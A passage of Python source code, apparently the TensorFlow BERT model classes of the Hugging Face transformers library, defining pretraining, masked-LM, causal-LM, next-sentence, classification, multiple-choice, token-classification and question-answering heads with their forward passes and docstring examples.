# names with a '.' represents the authorized unexpected/missing layers when a TF model is loaded from a PT model
_keys_to_ignore_on_load_unexpected = [
r"position_ids",
r"cls.predictions.decoder.weight",
r"cls.predictions.decoder.bias",
]
def __init__(self, config: BertConfig, *inputs, **kwargs):
super().__init__(config, *inputs, **kwargs)
self.bert = TFBertMainLayer(config, name="bert")
self.nsp = TFBertNSPHead(config, name="nsp___cls")
self.mlm = TFBertMLMHead(config, input_embeddings=self.bert.embeddings, name="mlm___cls")
def get_lm_head(self) -> tf.keras.layers.Layer:
return self.mlm.predictions
def get_prefix_bias_name(self) -> str:
warnings.warn("The method get_prefix_bias_name is deprecated. Please use `get_bias` instead.", FutureWarning)
return self.name + "/" + self.mlm.name + "/" + self.mlm.predictions.name
@unpack_inputs
@add_start_docstrings_to_model_forward(BERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@replace_return_docstrings(output_type=TFBertForPreTrainingOutput, config_class=_CONFIG_FOR_DOC)
def call(
self,
input_ids: Optional[TFModelInputType] = None,
attention_mask: Optional[Union[np.ndarray, tf.Tensor]] = None,
token_type_ids: Optional[Union[np.ndarray, tf.Tensor]] = None,
position_ids: Optional[Union[np.ndarray, tf.Tensor]] = None,
head_mask: Optional[Union[np.ndarray, tf.Tensor]] = None,
inputs_embeds: Optional[Union[np.ndarray, tf.Tensor]] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
labels: Optional[Union[np.ndarray, tf.Tensor]] = None,
next_sentence_label: Optional[Union[np.ndarray, tf.Tensor]] = None,
training: Optional[bool] = False,
) -> Union[TFBertForPreTrainingOutput, Tuple[tf.Tensor]]:
r"""
labels (`tf.Tensor` of shape `(batch_size, sequence_length)`, *optional*):
Labels for computing the masked language modeling loss. Indices should be in `[-100, 0, ...,
config.vocab_size]` (see `input_ids` docstring) Tokens with indices set to `-100` are ignored (masked), the
loss is only computed for the tokens with labels in `[0, ..., config.vocab_size]`
next_sentence_label (`tf.Tensor` of shape `(batch_size,)`, *optional*):
Labels for computing the next sequence prediction (classification) loss. Input should be a sequence pair
(see `input_ids` docstring) Indices should be in `[0, 1]`:
- 0 indicates sequence B is a continuation of sequence A,
- 1 indicates sequence B is a random sequence.
kwargs (`Dict[str, any]`, optional, defaults to *{}*):
Used to hide legacy arguments that have been deprecated.
Return:
Examples:
```python
>>> import tensorflow as tf
>>> from transformers import AutoTokenizer, TFBertForPreTraining
>>> tokenizer = AutoTokenizer.from_pretrained("bert-base-uncased")
>>> model = TFBertForPreTraining.from_pretrained("bert-base-uncased")
>>> input_ids = tokenizer("Hello, my dog is cute", add_special_tokens=True, return_tensors="tf")
>>> # Batch size 1
>>> outputs = model(input_ids)
>>> prediction_logits, seq_relationship_logits = outputs[:2]
```"""
outputs = self.bert(
input_ids=input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
training=training,
)
sequence_output, pooled_output = outputs[:2]
prediction_scores = self.mlm(sequence_output=sequence_output, training=training)
seq_relationship_score = self.nsp(pooled_output=pooled_output)
total_loss = None
if labels is not None and next_sentence_label is not None:
d_labels = {"labels": labels}
d_labels["next_sentence_label"] = next_sentence_label
total_loss = self.hf_compute_loss(labels=d_labels, logits=(prediction_scores, seq_relationship_score))
if not return_dict:
output = (prediction_scores, seq_relationship_score) + outputs[2:]
return ((total_loss,) + output) if total_loss is not None else output
return TFBertForPreTrainingOutput(
loss=total_loss,
prediction_logits=prediction_scores,
seq_relationship_logits=seq_relationship_score,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
def serving_output(self, output: TFBertForPreTrainingOutput) -> TFBertForPreTrainingOutput:
hs = tf.convert_to_tensor(output.hidden_states) if self.config.output_hidden_states else None
attns = tf.convert_to_tensor(output.attentions) if self.config.output_attentions else None
return TFBertForPreTrainingOutput(
prediction_logits=output.prediction_logits,
seq_relationship_logits=output.seq_relationship_logits,
hidden_states=hs,
attentions=attns,
)
@add_start_docstrings("""Bert Model with a `language modeling` head on top.""", BERT_START_DOCSTRING)
class TFBertForMaskedLM(TFBertPreTrainedModel, TFMaskedLanguageModelingLoss):
# names with a '.' represents the authorized unexpected/missing layers when a TF model is loaded from a PT model
_keys_to_ignore_on_load_unexpected = [
r"pooler",
r"cls.seq_relationship",
r"cls.predictions.decoder.weight",
r"nsp___cls",
]
def __init__(self, config: BertConfig, *inputs, **kwargs):
super().__init__(config, *inputs, **kwargs)
if config.is_decoder:
logger.warning(
"If you want to use `TFBertForMaskedLM` make sure `config.is_decoder=False` for "
"bi-directional self-attention."
)
self.bert = TFBertMainLayer(config, add_pooling_layer=False, name="bert")
self.mlm = TFBertMLMHead(config, input_embeddings=self.bert.embeddings, name="mlm___cls")
def get_lm_head(self) -> tf.keras.layers.Layer:
return self.mlm.predictions
def get_prefix_bias_name(self) -> str:
warnings.warn("The method get_prefix_bias_name is deprecated. Please use `get_bias` instead.", FutureWarning)
return self.name + "/" + self.mlm.name + "/" + self.mlm.predictions.name
@unpack_inputs
@add_start_docstrings_to_model_forward(BERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=TFMaskedLMOutput,
config_class=_CONFIG_FOR_DOC,
expected_output="'paris'",
expected_loss=0.88,
)
def call(
self,
input_ids: Optional[TFModelInputType] = None,
attention_mask: Optional[Union[np.ndarray, tf.Tensor]] = None,
token_type_ids: Optional[Union[np.ndarray, tf.Tensor]] = None,
position_ids: Optional[Union[np.ndarray, tf.Tensor]] = None,
head_mask: Optional[Union[np.ndarray, tf.Tensor]] = None,
inputs_embeds: Optional[Union[np.ndarray, tf.Tensor]] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
labels: Optional[Union[np.ndarray, tf.Tensor]] = None,
training: Optional[bool] = False,
) -> Union[TFMaskedLMOutput, Tuple[tf.Tensor]]:
r"""
labels (`tf.Tensor` or `np.ndarray` of shape `(batch_size, sequence_length)`, *optional*):
Labels for computing the masked language modeling loss. Indices should be in `[-100, 0, ...,
config.vocab_size]` (see `input_ids` docstring) Tokens with indices set to `-100` are ignored (masked), the
loss is only computed for the tokens with labels in `[0, ..., config.vocab_size]`
"""
outputs = self.bert(
input_ids=input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
training=training,
)
sequence_output = outputs[0]
prediction_scores = self.mlm(sequence_output=sequence_output, training=training)
loss = None if labels is None else self.hf_compute_loss(labels=labels, logits=prediction_scores)
if not return_dict:
output = (prediction_scores,) + outputs[2:]
return ((loss,) + output) if loss is not None else output
return TFMaskedLMOutput(
loss=loss,
logits=prediction_scores,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
def serving_output(self, output: TFMaskedLMOutput) -> TFMaskedLMOutput:
hs = tf.convert_to_tensor(output.hidden_states) if self.config.output_hidden_states else None
attns = tf.convert_to_tensor(output.attentions) if self.config.output_attentions else None
return TFMaskedLMOutput(logits=output.logits, hidden_states=hs, attentions=attns)
class TFBertLMHeadModel(TFBertPreTrainedModel, TFCausalLanguageModelingLoss):
# names with a '.' represents the authorized unexpected/missing layers when a TF model is loaded from a PT model
_keys_to_ignore_on_load_unexpected = [
r"pooler",
r"cls.seq_relationship",
r"cls.predictions.decoder.weight",
r"nsp___cls",
]
def __init__(self, config: BertConfig, *inputs, **kwargs):
super().__init__(config, *inputs, **kwargs)
if not config.is_decoder:
logger.warning("If you want to use `TFBertLMHeadModel` as a standalone, add `is_decoder=True.`")
self.bert = TFBertMainLayer(config, add_pooling_layer=False, name="bert")
self.mlm = TFBertMLMHead(config, input_embeddings=self.bert.embeddings, name="mlm___cls")
def get_lm_head(self) -> tf.keras.layers.Layer:
return self.mlm.predictions
def get_prefix_bias_name(self) -> str:
warnings.warn("The method get_prefix_bias_name is deprecated. Please use `get_bias` instead.", FutureWarning)
return self.name + "/" + self.mlm.name + "/" + self.mlm.predictions.name
def prepare_inputs_for_generation(self, input_ids, past_key_values=None, attention_mask=None, **model_kwargs):
input_shape = input_ids.shape
# if model is used as a decoder in encoder-decoder model, the decoder attention mask is created on the fly
if attention_mask is None:
attention_mask = tf.ones(input_shape)
# cut decoder_input_ids if past is used
if past_key_values is not None:
input_ids = input_ids[:, -1:]
return {"input_ids": input_ids, "attention_mask": attention_mask, "past_key_values": past_key_values}
@unpack_inputs
@add_code_sample_docstrings(
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=TFCausalLMOutputWithCrossAttentions,
config_class=_CONFIG_FOR_DOC,
)
def call(
self,
input_ids: Optional[TFModelInputType] = None,
attention_mask: Optional[Union[np.ndarray, tf.Tensor]] = None,
token_type_ids: Optional[Union[np.ndarray, tf.Tensor]] = None,
position_ids: Optional[Union[np.ndarray, tf.Tensor]] = None,
head_mask: Optional[Union[np.ndarray, tf.Tensor]] = None,
inputs_embeds: Optional[Union[np.ndarray, tf.Tensor]] = None,
encoder_hidden_states: Optional[Union[np.ndarray, tf.Tensor]] = None,
encoder_attention_mask: Optional[Union[np.ndarray, tf.Tensor]] = None,
past_key_values: Optional[Tuple[Tuple[Union[np.ndarray, tf.Tensor]]]] = None,
use_cache: Optional[bool] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
labels: Optional[Union[np.ndarray, tf.Tensor]] = None,
training: Optional[bool] = False,
**kwargs,
) -> Union[TFCausalLMOutputWithCrossAttentions, Tuple[tf.Tensor]]:
r"""
encoder_hidden_states (`tf.Tensor` of shape `(batch_size, sequence_length, hidden_size)`, *optional*):
Sequence of hidden-states at the output of the last layer of the encoder. Used in the cross-attention if
the model is configured as a decoder.
encoder_attention_mask (`tf.Tensor` of shape `(batch_size, sequence_length)`, *optional*):
Mask to avoid performing attention on the padding token indices of the encoder input. This mask is used in
the cross-attention if the model is configured as a decoder. Mask values selected in `[0, 1]`:
- 1 for tokens that are **not masked**,
- 0 for tokens that are **masked**.
past_key_values (`Tuple[Tuple[tf.Tensor]]` of length `config.n_layers`)
contains precomputed key and value hidden states of the attention blocks. Can be used to speed up decoding.
If `past_key_values` are used, the user can optionally input only the last `decoder_input_ids` (those that
don't have their past key value states given to this model) of shape `(batch_size, 1)` instead of all
`decoder_input_ids` of shape `(batch_size, sequence_length)`.
use_cache (`bool`, *optional*, defaults to `True`):
If set to `True`, `past_key_values` key value states are returned and can be used to speed up decoding (see
`past_key_values`). Set to `False` during training, `True` during generation
labels (`tf.Tensor` or `np.ndarray` of shape `(batch_size, sequence_length)`, *optional*):
Labels for computing the cross entropy classification loss. Indices should be in `[0, ...,
config.vocab_size - 1]`.
"""
outputs = self.bert(
input_ids=input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
encoder_hidden_states=encoder_hidden_states,
encoder_attention_mask=encoder_attention_mask,
past_key_values=past_key_values,
use_cache=use_cache,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
training=training,
)
sequence_output = outputs[0]
logits = self.mlm(sequence_output=sequence_output, training=training)
loss = None
if labels is not None:
# shift labels to the left and cut last logit token
shifted_logits = logits[:, :-1]
labels = labels[:, 1:]
loss = self.hf_compute_loss(labels=labels, logits=shifted_logits)
if not return_dict:
output = (logits,) + outputs[2:]
return ((loss,) + output) if loss is not None else output
return TFCausalLMOutputWithCrossAttentions(
loss=loss,
logits=logits,
past_key_values=outputs.past_key_values,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
cross_attentions=outputs.cross_attentions,
)
def serving_output(self, output: TFCausalLMOutputWithCrossAttentions) -> TFCausalLMOutputWithCrossAttentions:
output_cache = self.config.use_cache and self.config.is_decoder
pkv = tf.convert_to_tensor(output.past_key_values) if output_cache else None
hs = tf.convert_to_tensor(output.hidden_states) if self.config.output_hidden_states else None
attns = tf.convert_to_tensor(output.attentions) if self.config.output_attentions else None
cross_attns = tf.convert_to_tensor(output.cross_attentions) if output.cross_attentions is not None else None
if not (self.config.output_attentions and self.config.add_cross_attention):
cross_attns = None
return TFCausalLMOutputWithCrossAttentions(
logits=output.logits, past_key_values=pkv, hidden_states=hs, attentions=attns, cross_attentions=cross_attns
)
@add_start_docstrings(
"""Bert Model with a `next sentence prediction (classification)` head on top.""",
BERT_START_DOCSTRING,
)
class TFBertForNextSentencePrediction(TFBertPreTrainedModel, TFNextSentencePredictionLoss):
# names with a '.' represents the authorized unexpected/missing layers when a TF model is loaded from a PT model
_keys_to_ignore_on_load_unexpected = [r"mlm___cls", r"cls.predictions"]
def __init__(self, config: BertConfig, *inputs, **kwargs):
super().__init__(config, *inputs, **kwargs)
self.bert = TFBertMainLayer(config, name="bert")
self.nsp = TFBertNSPHead(config, name="nsp___cls")
@unpack_inputs
@add_start_docstrings_to_model_forward(BERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@replace_return_docstrings(output_type=TFNextSentencePredictorOutput, config_class=_CONFIG_FOR_DOC)
def call(
self,
input_ids: Optional[TFModelInputType] = None,
attention_mask: Optional[Union[np.ndarray, tf.Tensor]] = None,
token_type_ids: Optional[Union[np.ndarray, tf.Tensor]] = None,
position_ids: Optional[Union[np.ndarray, tf.Tensor]] = None,
head_mask: Optional[Union[np.ndarray, tf.Tensor]] = None,
inputs_embeds: Optional[Union[np.ndarray, tf.Tensor]] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
next_sentence_label: Optional[Union[np.ndarray, tf.Tensor]] = None,
training: Optional[bool] = False,
) -> Union[TFNextSentencePredictorOutput, Tuple[tf.Tensor]]:
r"""
Return:
Examples:
```python
>>> import tensorflow as tf
>>> from transformers import AutoTokenizer, TFBertForNextSentencePrediction
>>> tokenizer = AutoTokenizer.from_pretrained("bert-base-uncased")
>>> model = TFBertForNextSentencePrediction.from_pretrained("bert-base-uncased")
>>> prompt = "In Italy, pizza served in formal settings, such as at a restaurant, is presented unsliced."
>>> next_sentence = "The sky is blue due to the shorter wavelength of blue light."
>>> encoding = tokenizer(prompt, next_sentence, return_tensors="tf")
>>> logits = model(encoding["input_ids"], token_type_ids=encoding["token_type_ids"])[0]
>>> assert logits[0][0] < logits[0][1] # the next sentence was random
```"""
outputs = self.bert(
input_ids=input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
training=training,
)
pooled_output = outputs[1]
seq_relationship_scores = self.nsp(pooled_output=pooled_output)
next_sentence_loss = (
None
if next_sentence_label is None
else self.hf_compute_loss(labels=next_sentence_label, logits=seq_relationship_scores)
)
if not return_dict:
output = (seq_relationship_scores,) + outputs[2:]
return ((next_sentence_loss,) + output) if next_sentence_loss is not None else output
return TFNextSentencePredictorOutput(
loss=next_sentence_loss,
logits=seq_relationship_scores,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
def serving_output(self, output: TFNextSentencePredictorOutput) -> TFNextSentencePredictorOutput:
hs = tf.convert_to_tensor(output.hidden_states) if self.config.output_hidden_states else None
attns = tf.convert_to_tensor(output.attentions) if self.config.output_attentions else None
return TFNextSentencePredictorOutput(logits=output.logits, hidden_states=hs, attentions=attns)
@add_start_docstrings(
"""
Bert Model transformer with a sequence classification/regression head on top (a linear layer on top of the pooled
output) e.g. for GLUE tasks.
""",
BERT_START_DOCSTRING,
)
class TFBertForSequenceClassification(TFBertPreTrainedModel, TFSequenceClassificationLoss):
# names with a '.' represents the authorized unexpected/missing layers when a TF model is loaded from a PT model
_keys_to_ignore_on_load_unexpected = [r"mlm___cls", r"nsp___cls", r"cls.predictions", r"cls.seq_relationship"]
_keys_to_ignore_on_load_missing = [r"dropout"]
def __init__(self, config: BertConfig, *inputs, **kwargs):
super().__init__(config, *inputs, **kwargs)
self.num_labels = config.num_labels
self.bert = TFBertMainLayer(config, name="bert")
classifier_dropout = (
config.classifier_dropout if config.classifier_dropout is not None else config.hidden_dropout_prob
)
self.dropout = tf.keras.layers.Dropout(rate=classifier_dropout)
self.classifier = tf.keras.layers.Dense(
units=config.num_labels,
kernel_initializer=get_initializer(config.initializer_range),
name="classifier",
)
@unpack_inputs
@add_start_docstrings_to_model_forward(BERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
checkpoint=_CHECKPOINT_FOR_SEQUENCE_CLASSIFICATION,
output_type=TFSequenceClassifierOutput,
config_class=_CONFIG_FOR_DOC,
expected_output=_SEQ_CLASS_EXPECTED_OUTPUT,
expected_loss=_SEQ_CLASS_EXPECTED_LOSS,
)
def call(
self,
input_ids: Optional[TFModelInputType] = None,
attention_mask: Optional[Union[np.ndarray, tf.Tensor]] = None,
token_type_ids: Optional[Union[np.ndarray, tf.Tensor]] = None,
position_ids: Optional[Union[np.ndarray, tf.Tensor]] = None,
head_mask: Optional[Union[np.ndarray, tf.Tensor]] = None,
inputs_embeds: Optional[Union[np.ndarray, tf.Tensor]] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
labels: Optional[Union[np.ndarray, tf.Tensor]] = None,
training: Optional[bool] = False,
) -> Union[TFSequenceClassifierOutput, Tuple[tf.Tensor]]:
r"""
labels (`tf.Tensor` or `np.ndarray` of shape `(batch_size,)`, *optional*):
Labels for computing the sequence classification/regression loss. Indices should be in `[0, ...,
config.num_labels - 1]`. If `config.num_labels == 1` a regression loss is computed (Mean-Square loss), If
`config.num_labels > 1` a classification loss is computed (Cross-Entropy).
"""
outputs = self.bert(
input_ids=input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
training=training,
)
pooled_output = outputs[1]
pooled_output = self.dropout(inputs=pooled_output, training=training)
logits = self.classifier(inputs=pooled_output)
loss = None if labels is None else self.hf_compute_loss(labels=labels, logits=logits)
if not return_dict:
output = (logits,) + outputs[2:]
return ((loss,) + output) if loss is not None else output
return TFSequenceClassifierOutput(
loss=loss,
logits=logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
def serving_output(self, output: TFSequenceClassifierOutput) -> TFSequenceClassifierOutput:
hs = tf.convert_to_tensor(output.hidden_states) if self.config.output_hidden_states else None
attns = tf.convert_to_tensor(output.attentions) if self.config.output_attentions else None
return TFSequenceClassifierOutput(logits=output.logits, hidden_states=hs, attentions=attns)
@add_start_docstrings(
"""
Bert Model with a multiple choice classification head on top (a linear layer on top of the pooled output and a
softmax) e.g. for RocStories/SWAG tasks.
""",
BERT_START_DOCSTRING,
)
class TFBertForMultipleChoice(TFBertPreTrainedModel, TFMultipleChoiceLoss):
# names with a '.' represents the authorized unexpected/missing layers when a TF model is loaded from a PT model
_keys_to_ignore_on_load_unexpected = [r"mlm___cls", r"nsp___cls", r"cls.predictions", r"cls.seq_relationship"]
_keys_to_ignore_on_load_missing = [r"dropout"]
def __init__(self, config: BertConfig, *inputs, **kwargs):
super().__init__(config, *inputs, **kwargs)
self.bert = TFBertMainLayer(config, name="bert")
self.dropout = tf.keras.layers.Dropout(rate=config.hidden_dropout_prob)
self.classifier = tf.keras.layers.Dense(
units=1, kernel_initializer=get_initializer(config.initializer_range), name="classifier"
)
@property
def dummy_inputs(self) -> Dict[str, tf.Tensor]:
"""
Dummy inputs to build the network.
Returns:
tf.Tensor with dummy inputs
"""
return {"input_ids": tf.constant(MULTIPLE_CHOICE_DUMMY_INPUTS, dtype=tf.int32)}
@unpack_inputs
@add_start_docstrings_to_model_forward(BERT_INPUTS_DOCSTRING.format("batch_size, num_choices, sequence_length"))
@add_code_sample_docstrings(
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=TFMultipleChoiceModelOutput,
config_class=_CONFIG_FOR_DOC,
)
def call(
self,
input_ids: Optional[TFModelInputType] = None,
attention_mask: Optional[Union[np.ndarray, tf.Tensor]] = None,
token_type_ids: Optional[Union[np.ndarray, tf.Tensor]] = None,
position_ids: Optional[Union[np.ndarray, tf.Tensor]] = None,
head_mask: Optional[Union[np.ndarray, tf.Tensor]] = None,
inputs_embeds: Optional[Union[np.ndarray, tf.Tensor]] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
labels: Optional[Union[np.ndarray, tf.Tensor]] = None,
training: Optional[bool] = False,
) -> Union[TFMultipleChoiceModelOutput, Tuple[tf.Tensor]]:
r"""
labels (`tf.Tensor` or `np.ndarray` of shape `(batch_size,)`, *optional*):
Labels for computing the multiple choice classification loss. Indices should be in `[0, ..., num_choices]`
where `num_choices` is the size of the second dimension of the input tensors. (See `input_ids` above)
"""
if input_ids is not None:
num_choices = shape_list(input_ids)[1]
seq_length = shape_list(input_ids)[2]
else:
num_choices = shape_list(inputs_embeds)[1]
seq_length = shape_list(inputs_embeds)[2]
flat_input_ids = tf.reshape(tensor=input_ids, shape=(-1, seq_length)) if input_ids is not None else None
flat_attention_mask = (
tf.reshape(tensor=attention_mask, shape=(-1, seq_length)) if attention_mask is not None else None
)
flat_token_type_ids = (
tf.reshape(tensor=token_type_ids, shape=(-1, seq_length)) if token_type_ids is not None else None
)
flat_position_ids = (
tf.reshape(tensor=position_ids, shape=(-1, seq_length)) if position_ids is not None else None
)
flat_inputs_embeds = (
tf.reshape(tensor=inputs_embeds, shape=(-1, seq_length, shape_list(inputs_embeds)[3]))
if inputs_embeds is not None
else None
)
outputs = self.bert(
input_ids=flat_input_ids,
attention_mask=flat_attention_mask,
token_type_ids=flat_token_type_ids,
position_ids=flat_position_ids,
head_mask=head_mask,
inputs_embeds=flat_inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
training=training,
)
pooled_output = outputs[1]
pooled_output = self.dropout(inputs=pooled_output, training=training)
logits = self.classifier(inputs=pooled_output)
reshaped_logits = tf.reshape(tensor=logits, shape=(-1, num_choices))
loss = None if labels is None else self.hf_compute_loss(labels=labels, logits=reshaped_logits)
if not return_dict:
output = (reshaped_logits,) + outputs[2:]
return ((loss,) + output) if loss is not None else output
return TFMultipleChoiceModelOutput(
loss=loss,
logits=reshaped_logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
@tf.function(
input_signature=[
{
"input_ids": tf.TensorSpec((None, None, None), tf.int32, name="input_ids"),
"attention_mask": tf.TensorSpec((None, None, None), tf.int32, name="attention_mask"),
"token_type_ids": tf.TensorSpec((None, None, None), tf.int32, name="token_type_ids"),
}
]
)
def serving(self, inputs: Dict[str, tf.Tensor]) -> TFMultipleChoiceModelOutput:
output = self.call(input_ids=inputs)
return self.serving_output(output)
def serving_output(self, output: TFMultipleChoiceModelOutput) -> TFMultipleChoiceModelOutput:
hs = tf.convert_to_tensor(output.hidden_states) if self.config.output_hidden_states else None
attns = tf.convert_to_tensor(output.attentions) if self.config.output_attentions else None
return TFMultipleChoiceModelOutput(logits=output.logits, hidden_states=hs, attentions=attns)
@add_start_docstrings(
"""
Bert Model with a token classification head on top (a linear layer on top of the hidden-states output) e.g. for
Named-Entity-Recognition (NER) tasks.
""",
BERT_START_DOCSTRING,
)
class TFBertForTokenClassification(TFBertPreTrainedModel, TFTokenClassificationLoss):
# names with a '.' represents the authorized unexpected/missing layers when a TF model is loaded from a PT model
_keys_to_ignore_on_load_unexpected = [
r"pooler",
r"mlm___cls",
r"nsp___cls",
r"cls.predictions",
r"cls.seq_relationship",
]
_keys_to_ignore_on_load_missing = [r"dropout"]
def __init__(self, config: BertConfig, *inputs, **kwargs):
super().__init__(config, *inputs, **kwargs)
self.num_labels = config.num_labels
self.bert = TFBertMainLayer(config, add_pooling_layer=False, name="bert")
classifier_dropout = (
config.classifier_dropout if config.classifier_dropout is not None else config.hidden_dropout_prob
)
self.dropout = tf.keras.layers.Dropout(rate=classifier_dropout)
self.classifier = tf.keras.layers.Dense(
units=config.num_labels,
kernel_initializer=get_initializer(config.initializer_range),
name="classifier",
)
@unpack_inputs
@add_start_docstrings_to_model_forward(BERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
checkpoint=_CHECKPOINT_FOR_TOKEN_CLASSIFICATION,
output_type=TFTokenClassifierOutput,
config_class=_CONFIG_FOR_DOC,
expected_output=_TOKEN_CLASS_EXPECTED_OUTPUT,
expected_loss=_TOKEN_CLASS_EXPECTED_LOSS,
)
def call(
self,
input_ids: Optional[TFModelInputType] = None,
attention_mask: Optional[Union[np.ndarray, tf.Tensor]] = None,
token_type_ids: Optional[Union[np.ndarray, tf.Tensor]] = None,
position_ids: Optional[Union[np.ndarray, tf.Tensor]] = None,
head_mask: Optional[Union[np.ndarray, tf.Tensor]] = None,
inputs_embeds: Optional[Union[np.ndarray, tf.Tensor]] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
labels: Optional[Union[np.ndarray, tf.Tensor]] = None,
training: Optional[bool] = False,
) -> Union[TFTokenClassifierOutput, Tuple[tf.Tensor]]:
r"""
labels (`tf.Tensor` or `np.ndarray` of shape `(batch_size, sequence_length)`, *optional*):
Labels for computing the token classification loss. Indices should be in `[0, ..., config.num_labels - 1]`.
"""
outputs = self.bert(
input_ids=input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
training=training,
)
sequence_output = outputs[0]
sequence_output = self.dropout(inputs=sequence_output, training=training)
logits = self.classifier(inputs=sequence_output)
loss = None if labels is None else self.hf_compute_loss(labels=labels, logits=logits)
if not return_dict:
output = (logits,) + outputs[2:]
return ((loss,) + output) if loss is not None else output
return TFTokenClassifierOutput(
loss=loss,
logits=logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
def serving_output(self, output: TFTokenClassifierOutput) -> TFTokenClassifierOutput:
hs = tf.convert_to_tensor(output.hidden_states) if self.config.output_hidden_states else None
attns = tf.convert_to_tensor(output.attentions) if self.config.output_attentions else None
return TFTokenClassifierOutput(logits=output.logits, hidden_states=hs, attentions=attns)
@add_start_docstrings(
"""
Bert Model with a span classification head on top for extractive question-answering tasks like SQuAD (a linear
layer on top of the hidden-states output to compute `span start logits` and `span end logits`).
""",
BERT_START_DOCSTRING,
)
class TFBertForQuestionAnswering(TFBertPreTrainedModel, TFQuestionAnsweringLoss):
# names with a '.' represents the authorized unexpected/missing layers when a TF model is loaded from a PT model
_keys_to_ignore_on_load_unexpected = [
r"pooler",
r"mlm___cls",
r"nsp___cls",
r"cls.predictions",
r"cls.seq_relationship",
]
def __init__(self, config: BertConfig, *inputs, **kwargs):
super().__init__(config, *inputs, **kwargs)
self.num_labels = config.num_labels
self.bert = TFBertMainLayer(config, add_pooling_layer=False, name="bert")
self.qa_outputs = tf.keras.layers.Dense(
units=config.num_labels,
kernel_initializer=get_initializer(config.initializer_range),
name="qa_outputs",
)
@unpack_inputs
@add_start_docstrings_to_model_forward(BERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
checkpoint=_CHECKPOINT_FOR_QA,
output_type=TFQuestionAnsweringModelOutput,
config_class=_CONFIG_FOR_DOC,
qa_target_start_index=_QA_TARGET_START_INDEX,
qa_target_end_index=_QA_TARGET_END_INDEX,
expected_output=_QA_EXPECTED_OUTPUT,
expected_loss=_QA_EXPECTED_LOSS,
)
def call(
self,
input_ids: Optional[TFModelInputType] = None,
attention_mask: Optional[Union[np.ndarray, tf.Tensor]] = None,
token_type_ids: Optional[Union[np.ndarray, tf.Tensor]] = None,
position_ids: Optional[Union[np.ndarray, tf.Tensor]] = None,
head_mask: Optional[Union[np.ndarray, tf.Tensor]] = None,
inputs_embeds: Optional[Union[np.ndarray, tf.Tensor]] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
start_positions: Optional[Union[np.ndarray, tf.Tensor]] = None,
end_positions: Optional[Union[np.ndarray, tf.Tensor]] = None,
training: Optional[bool] = False,
) -> Union[TFQuestionAnsweringModelOutput, Tuple[tf.Tensor]]:
r"""
start_positions (`tf.Tensor` or `np.ndarray` of shape `(batch_size,)`, *optional*):
Labels for position (index) of the start of the labelled span for computing the token classification loss.
Positions are clamped to the length of the sequence (`sequence_length`). Position outside of the sequence
are not taken into account for computing the loss.
end_positions (`tf.Tensor` or `np.ndarray` of shape `(batch_size,)`, *optional*):
Labels for position (index) of the end of the labelled span for computing the token classification loss.
Positions are clamped to the length of the sequence (`sequence_length`). Position outside of the sequence
are not taken into account for computing the loss.
"""
outputs = self.bert(
input_ids=input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
training=training,
)
sequence_output = outputs[0]
logits = self.qa_outputs(inputs=sequence_output)
start_logits, end_logits = tf.split(value=logits, num_or_size_splits=2, axis=-1)
start_logits = tf.squeeze(input=start_logits, axis=-1)
